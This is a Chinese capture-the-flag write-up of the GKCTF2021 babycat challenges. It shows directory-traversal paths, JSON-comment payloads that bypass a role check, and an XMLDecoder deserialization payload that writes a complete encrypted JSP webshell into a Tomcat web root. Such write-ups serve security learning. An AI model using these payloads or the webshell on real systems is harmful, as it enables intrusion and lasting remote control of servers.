GKCTF2021-babycat-revenge
知识点概要:目录遍历、java审计、XMLDecoder
反序列化
题目hint:1.你知道注释符吗 2.PrintWriter?
首页

注册页面空白,查看注册页面源码如下

对比登录页面源码

ajax请求逻辑大同小异
登录账号口令随便输入,Burp捕获登录页面请求包如下

捕获注册页面请求包,修改为post方法,数据部分模仿登录请求传参,如下

注册成功,登录,页面如下

ROLE是guest,说明我们是游客权限。有一个上传功能和一个下载功能,上传功能如下,响应提示只允许admin权限上传

下载功能的链接明显有问题,极有可能存在目录遍历

Java Web项目,根据常规目录结构,读取web.xml
找servlet接口类文件路径

../../WEB-INF/web.xml

都下载下来
/home/download?file=../classes/com/web/servlet/registerServlet.class
uploadServlet.class
用jadx
反编译获得源码,审计uploadServlet.class
,用户Role需要是admin才能上传,且文件后缀有白名单,文件内容有黑名单,如下图


那么首要目标是绕过Role需要是admin的验证
在registerServlet.class
,会对注册时的post参数,即data={"username":"admin","password":"admin"}
做\"role\":\"(.*?)\"
正则匹配,匹配到"role":"xxx"
就会替换成"role":"guest"
,如果没有role,则设置role为guest,所以必须让while循环里的role有值,使得if条件成立

因为 JSON 中的内联注释来不会影响 JSON 数据解析,所以此处payload如下
data={"username":"admin","password":"admin","role":"test","role"/**/:"admin"}
或
data={"username":"admin","password":"admin","role":"admin"/*,"role":"test"*/}
第一个payload在while处匹配到"role":"test"
,匹配不到"role"/**/:"admin"
,进到if条件里,替换的是"role":"test"
,json解析时遇到重复的role键时,会使用最后一个role键值对,最终"role":"admin"
;
第二个payload在while处匹配到"role":"admin"
,但第二次while循环匹配到"role":"test"
会覆盖掉第一个"role":"admin"
,进到if条件里,替换的是"role":"test"
,json解析时,由于"role":"test"
被注释,最终"role":"admin"
。
注册成功,登录后,ROLE显示为admin,如下图

在registerServlet.class
和loginServlet.class
中,有从dao导入的包,下载下来审计

/home/download?file=../classes/com/web/dao/baseDao.class
在com.web.dao.baseDao
中,有XMLDecoder()
方法,可以尝试将db.xml
覆盖为恶意代码后通过登录或注册功能触发XMLDecoder
反序列化(追溯调用链,在登录和注册功能代码,都有调用baseDao.getConnection()
方法,从而调用getConfig()
方法,从而触发XMLDecoder()
)

读取环境变量CATALINA_HOME
,其值为 /usr/local/tomcat
/home/download?file=../../../../../../proc/self/environ

因为上传白名单有xml,题目hint有PrintWriter,所以恶意代码如下。其中CDATA
数据块为蚁剑的jsp马
<?xml version="1.0" encoding="utf-8"?>
<java class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>/usr/local/tomcat/webapps/ROOT/static/shell.jsp</string>
<void method="println">
<string><![CDATA[<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>]]></string>
</void>
<void method="close"/>
</object>
</java>
上传文件,文件名改为../db/db.xml

退出用户,重新登录一下,以便触发XMLDecoder,然后蚁剑连接

直接读flag文件没有权限,有个readflag文件,执行,成功获取flag

GKCTF2021-babycat
参考GKCTF2021-babycat-revenge
,唯一的区别在于uploadServlet.class
上传逻辑,此处即使进到if条件里,提示upload failed
,依然不影响后续代码执行,也就是实际上依然会被上传
if (checkExt(ext) || checkContent(item.getInputStream())) {
req.setAttribute("error", "upload failed");
req.getRequestDispatcher("../WEB-INF/upload.jsp").forward(req, resp);
}
String filePath = uploadPath + File.separator + name + ext;
File storeFile = new File(filePath);
item.write(storeFile);
req.setAttribute("error", "upload success!");
把冰蝎jsp马传到../../static/shell.jsp
,连接即可(为什么传到这位置,因为download功能那里的任意文件下载,原始位置就是../../static/cat.gif
)

参考
https://blog.csdn.net/cjdgg/article/details/121325745
https://codex.lemonprefect.cn/writeups/GKCTF%202021.html#babycat